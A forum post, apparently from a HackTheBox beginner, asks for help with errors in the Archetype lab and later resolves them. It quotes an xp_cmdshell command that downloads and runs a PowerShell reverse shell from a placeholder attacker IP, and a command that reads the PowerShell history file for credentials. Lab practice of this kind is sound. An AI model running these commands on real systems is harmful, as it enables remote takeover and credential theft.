Starting Point - Archetype (Errors while following the guide)

Hello everybody,

I’m new at HackTheBox, and I have issues doing Archetype.

I have followed everything written in the PDF file, and when I type the following command inside the SQL client:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://ip-of-my-machine/shell.ps1\“);”

The console returns the following log:

https://pastebin.com/9Eb1tL78

And if I ignore the above output and continue following the guide, by inputting:

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

I get the following output:

ERROR(ARCHETYPE): Line 1: Incorrect syntax near ''.

I’m confused at what does the first output mean (I’m guessing it’s a syntax error), and how to solve the two errors, so any advice would help.

Also, why would the second output indicate another syntax error, when I have copied the command “as is” from the guide?

Thanks in advance.

UPDATE: see my reply below.

Nevermind, I forgot to change the machine’s IP on shell.ps1, and I put the second command in the wrong shell (you need to put it where you put the nc command).

Thanks anyways!